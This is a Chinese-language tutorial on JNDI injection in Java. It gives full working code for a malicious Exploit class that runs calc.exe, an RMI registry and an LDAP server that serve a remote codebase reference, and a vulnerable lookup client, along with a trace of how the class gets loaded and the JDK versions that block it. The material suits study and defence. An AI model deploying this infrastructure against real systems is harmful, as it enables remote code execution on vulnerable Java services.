0x01 前言
JNDI
(全称Java Naming and Directory Interface
)是用于目录服务的Java API
,它允许Java
客户端通过名称发现和查找数据和资源(以Java对象的形式)。与与主机系统接口的所有Java api一样,JNDI独立于底层实现。此外,它指定了一个服务提供者接口(SPI),该接口允许将目录服务实现插入到框架中。通过JNDI查询的信息可能由服务器、文件或数据库提供,选择取决于所使用的实现。其中JNDI中也存在RMI codebase的动态加载机制,并且其配置同底层的RMI配置并不相关,因此使用RMI codebase远程加载对jdk版本的限制不会为jdk7u21前。JNDI
可访问的现有的目录及服务有:JDBC
、LDAP
、RMI
、DNS
、NIS
、CORBA
。
0x02 相关知识
攻击场景
JNDI
使用方法如下,如果jndiName
可控,那么则会造成JNDI
注入攻击。
//指定需要查找name名称
String jndiName= "xxx";
//初始化默认环境
Context context = new InitialContext();
//查找该name的数据
context.lookup(jndiName);
- 攻击者提供一个绝对的RMI URL给可控的JNDI lookup当作参数。
- 服务端连接攻击者控制的RMI registry,获取到一个恶意的JNDI Reference。
- 服务端解码JNDI Reference
- 服务端从攻击者控制的服务器获取到工厂类(即恶意类)
- 服务端实例化工厂类
- 恶意代码执行
javax.naming.InitialContext类
该类的作用是构建初始上下文,获取目录环境情况。主要有以下方法:
bind(Name name, Object obj)
:将名称绑定到对象。list(String name)
:枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。lookup(String name)
:检索命名对象。rebind(String name, Object obj)
:将名称绑定到对象,覆盖任何现有绑定。unbind(String name)
:取消绑定命名对象。javax.naming.Reference类
该类表示对在命名/目录系统外部找到的对象的引用。引用中包含着相关服务的信息,如RMI、LDAP等。
用法如下:String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);
参数1:
className
- 远程加载时所使用的类名,即lookup返回的类类型。- 参数2:
classFactory
- 加载的class中需要实例化类的名称 - 参数3:
classFactoryLocation
- 提供classes数据的地址可以是file
/ftp
/http
协议
以下代码基于RMI服务绑定一个Reference。
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RefServer {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("foo",referenceWrapper);
}
}
需要注意一点的是Reference
并不能直接绑定在registry
中,因为RMI
只允许绑定实现Remote
接口和继承 UnicastRemoteObject
类。所以使用ReferenceWrapper
将Reference
包裹。
LDAP
LDAP(Light Directory Access Portocol),它是基于X.500标准的轻量级目录访问协议。目录是一个为查询、浏览和搜索而优化的数据库,它成树状结构组织数据,类似文件目录一样。目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
LDAP目录服务是由目录数据库和一套访问协议组成的系统。
更详细的内容:https://www.cnblogs.com/wilburxu/p/9174353.html
0x03 JNDI+RMI
在相关知识部分已经介绍了JNDI+RMI的攻击流程,JNDI客户端寻找Reference中指定的类,如果查找不到则会在Reference中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行。需要以下三个部分:JNDI客户端、RMI服务端、挂载payload的web服务。
payload代码:
import java.io.IOException;
public class Exploit {
public Exploit() {
}
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (IOException e) {
e.printStackTrace();
}
}
}
使用javac编译后挂载到web服务,这里简单起见使用python:python -m http.server 8080
RMI服务端代码:
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
String url = "http://127.0.0.1:8080/";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("Exploit", "Exploit", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("foo",referenceWrapper);
System.out.println("running");
}
}
JNDI客户端代码:
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDITest {
public static void main(String[] args) throws NamingException {
//指定需要查找name名称
String jndiName= "rmi://127.0.0.1:1099/foo";
//初始化默认环境
Context context = new InitialContext();
//查找该name的数据
context.lookup(jndiName);
}
}
运行RMI服务端代码后,运行JNDITest。
跟踪一下流程,首先是InitialContext
的lookup
方法。
在getURLOrDefaultInitCtx
方法中根据协议选择相应的Context
,这里是rmiURLContext
。
接着com.sun.jndi.toolkit.url.GenericURLContext#lookup
方法,调用RegistryContext
获取绑定的对象。com.sun.jndi.rmi.registry.RegistryContext#lookup
,获取远程对象,并对对象进行decodeObject
操作。com.sun.jndi.rmi.registry.RegistryContext#decodeObject
,继续跟进。javax.naming.spi.NamingManager#getObjectInstance
,跟进。javax.naming.spi.NamingManager#getObjectFactoryFromReference
,先会在本地加载class,如果未加载成功则通过reference中的codebase远程加载对象。
跟进可发现其使用Class.forName
加载类到内存,因此位于类的静态代码则会执行。也可以将payload写入到构造函数中,如上图所示,在加载类后会对该类进行实例化。
在JDK8u113
以及JDK6u132
, JDK7u122
之后增加了对远程codebase的限制,系统属性 com.sun.jndi.rmi.object.trustURLCodebase
、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false,也就无法使用rmi来加载codebase了。
0x04 JNDI+LDAP
LDAP攻击场景与RMI基本一致,只是将RMI服务端换为LDAP服务端,就不加赘述了。
发现大家使用的LDAP服务端代码基本都是下面这个代码:
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8080/#Exploit"};
int port = 7777;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
需要配置maven:
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
在 JDK 8u191
com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值被调整为false。
0x05 总结
参考文章
[1] https://www.cnblogs.com/nice0e3/p/13958047.html
[2] https://www.anquanke.com/post/id/199481